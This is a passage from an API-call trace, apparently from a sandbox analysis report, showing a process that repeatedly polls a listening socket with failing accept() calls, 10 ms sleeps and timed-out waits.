addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.796] Sleep (dwMilliseconds=0xa) [0124.808] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.823] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.823] Sleep (dwMilliseconds=0xa) [0124.839] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.873] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.873] Sleep (dwMilliseconds=0xa) [0124.886] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.901] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.901] Sleep (dwMilliseconds=0xa) [0124.917] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.938] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.938] Sleep (dwMilliseconds=0xa) [0124.948] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.964] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.964] Sleep (dwMilliseconds=0xa) [0124.979] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.995] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.995] Sleep (dwMilliseconds=0xa) [0125.010] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.027] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.027] Sleep (dwMilliseconds=0xa) [0125.042] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.058] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.058] Sleep (dwMilliseconds=0xa) [0125.073] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.089] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.089] Sleep (dwMilliseconds=0xa) [0125.104] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.120] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.120] Sleep (dwMilliseconds=0xa) [0125.135] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.151] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.151] Sleep (dwMilliseconds=0xa) [0125.167] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.182] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.182] Sleep (dwMilliseconds=0xa) [0125.198] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.213] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.213] Sleep (dwMilliseconds=0xa) [0125.229] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.245] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.245] Sleep (dwMilliseconds=0xa) [0125.260] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.276] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.276] Sleep (dwMilliseconds=0xa) [0125.291] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.307] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.307] Sleep (dwMilliseconds=0xa) [0125.322] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.338] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.338] Sleep (dwMilliseconds=0xa) [0125.354] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.417] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.417] Sleep (dwMilliseconds=0xa) [0125.446] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.447] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.447] Sleep (dwMilliseconds=0xa) [0125.463] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.494] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.494] Sleep (dwMilliseconds=0xa) [0125.510] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.525] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.525] Sleep (dwMilliseconds=0xa) [0125.541] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.557] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.557] Sleep (dwMilliseconds=0xa) [0125.572] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.588] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.588] Sleep (dwMilliseconds=0xa) [0125.603] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.639] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.639] Sleep (dwMilliseconds=0xa) [0125.650] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.666] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.666] Sleep (dwMilliseconds=0xa) [0125.681] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.697] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.697] Sleep (dwMilliseconds=0xa) [0125.712] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.760] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.760] Sleep (dwMilliseconds=0xa) [0125.775] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.796] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.796] Sleep (dwMilliseconds=0xa) [0125.806] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.822] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.822] Sleep (dwMilliseconds=0xa) [0125.837] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.853] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.853] Sleep (dwMilliseconds=0xa) [0125.868] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.884] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.884] Sleep (dwMilliseconds=0xa) [0125.900] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.915] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.915] Sleep (dwMilliseconds=0xa) [0125.931] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.972] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0125.972] Sleep (dwMilliseconds=0xa) [0125.982] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.009] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.009] Sleep (dwMilliseconds=0xa) [0126.024] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.040] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.040] Sleep (dwMilliseconds=0xa) [0126.056] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.071] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.071] Sleep (dwMilliseconds=0xa) [0126.087] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.145] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.145] Sleep (dwMilliseconds=0xa) [0126.149] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.165] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.165] Sleep (dwMilliseconds=0xa) [0126.181] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.196] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.196] Sleep (dwMilliseconds=0xa) [0126.212] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.227] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.227] Sleep (dwMilliseconds=0xa) [0126.244] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.259] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.259] Sleep (dwMilliseconds=0xa) [0126.275] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.290] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.290] Sleep (dwMilliseconds=0xa) [0126.305] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.321] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.321] Sleep (dwMilliseconds=0xa) [0126.337] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.352] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.352] Sleep (dwMilliseconds=0xa) [0126.368] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.383] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.383] Sleep (dwMilliseconds=0xa) [0126.399] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.414] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.415] Sleep (dwMilliseconds=0xa) [0126.430] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.487] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.487] Sleep (dwMilliseconds=0xa) [0126.524] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.561] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.561] Sleep (dwMilliseconds=0xa) [0126.570] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.586] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.586] Sleep (dwMilliseconds=0xa) [0126.602] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.617] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.617] Sleep (dwMilliseconds=0xa) [0126.633] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.704] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.704] Sleep (dwMilliseconds=0xa) [0126.711] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.727] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.727] Sleep (dwMilliseconds=0xa) [0126.742] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.758] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.758] Sleep (dwMilliseconds=0xa) [0126.774] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.836] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.836] Sleep (dwMilliseconds=0xa) [0126.852] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.867] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.867] Sleep (dwMilliseconds=0xa) [0126.886] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.898] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.898] Sleep (dwMilliseconds=0xa) [0126.914] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.929] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.929] Sleep (dwMilliseconds=0xa) [0126.959] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.975] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.975] Sleep (dwMilliseconds=0xa) [0126.976] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.992] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0126.992] Sleep (dwMilliseconds=0xa) [0127.007] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.023] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.023] Sleep (dwMilliseconds=0xa) [0127.038] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.054] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.054] Sleep (dwMilliseconds=0xa) [0127.070] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.085] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.085] Sleep (dwMilliseconds=0xa) [0127.101] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.118] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.118] Sleep (dwMilliseconds=0xa) [0127.132] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.148] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.148] Sleep (dwMilliseconds=0xa) [0127.164] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.179] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.179] Sleep (dwMilliseconds=0xa) [0127.194] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.223] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.223] Sleep (dwMilliseconds=0xa) [0127.226] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.241] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.241] Sleep (dwMilliseconds=0xa) [0127.257] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.272] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.272] Sleep (dwMilliseconds=0xa) [0127.288] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.304] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.304] Sleep (dwMilliseconds=0xa) [0127.319] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.339] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.339] Sleep (dwMilliseconds=0xa) [0127.350] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.366] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.366] Sleep (dwMilliseconds=0xa) [0127.382] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.397] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.397] Sleep (dwMilliseconds=0xa) [0127.413] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.428] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.429] Sleep (dwMilliseconds=0xa) [0127.444] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.460] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.460] Sleep (dwMilliseconds=0xa) [0127.475] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.491] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.491] Sleep (dwMilliseconds=0xa) [0127.507] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.522] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.522] Sleep (dwMilliseconds=0xa) [0127.538] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.579] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.579] Sleep (dwMilliseconds=0xa) [0127.616] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.663] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.663] Sleep (dwMilliseconds=0xa) [0127.678] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.694] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.694] Sleep (dwMilliseconds=0xa) [0127.709] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.725] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.725] Sleep (dwMilliseconds=0xa) [0127.740] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.759] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.759] Sleep (dwMilliseconds=0xa) [0127.772] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.805] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.805] Sleep (dwMilliseconds=0xa) [0127.818] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.834] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.834] Sleep (dwMilliseconds=0xa) [0127.850] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.866] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.866] Sleep (dwMilliseconds=0xa) [0127.882] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.901] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.902] Sleep (dwMilliseconds=0xa) [0127.912] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.933] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.933] Sleep (dwMilliseconds=0xa) [0127.949] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.959] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.959] Sleep (dwMilliseconds=0xa) [0127.975] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.990] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0127.990] Sleep (dwMilliseconds=0xa) [0128.006] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.021] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.021] Sleep (dwMilliseconds=0xa) [0128.037] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.055] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.055] Sleep (dwMilliseconds=0xa) [0128.068] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.084] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.084] Sleep (dwMilliseconds=0xa) [0128.099] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.115] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.115] Sleep (dwMilliseconds=0xa) [0128.130] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.146] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.146] Sleep (dwMilliseconds=0xa) [0128.162] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.179] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.179] Sleep (dwMilliseconds=0xa) [0128.193] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.217] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.217] Sleep (dwMilliseconds=0xa) [0128.230] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.240] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.241] Sleep (dwMilliseconds=0xa) [0128.256] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.271] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.271] Sleep (dwMilliseconds=0xa) [0128.288] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.303] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.304] Sleep (dwMilliseconds=0xa) [0128.318] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.333] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.333] Sleep (dwMilliseconds=0xa) [0128.349] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.365] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.365] Sleep (dwMilliseconds=0xa) [0128.380] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.396] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0128.396] Sleep (dwMilliseconds=0xa) [0128.411] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0128.431] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: 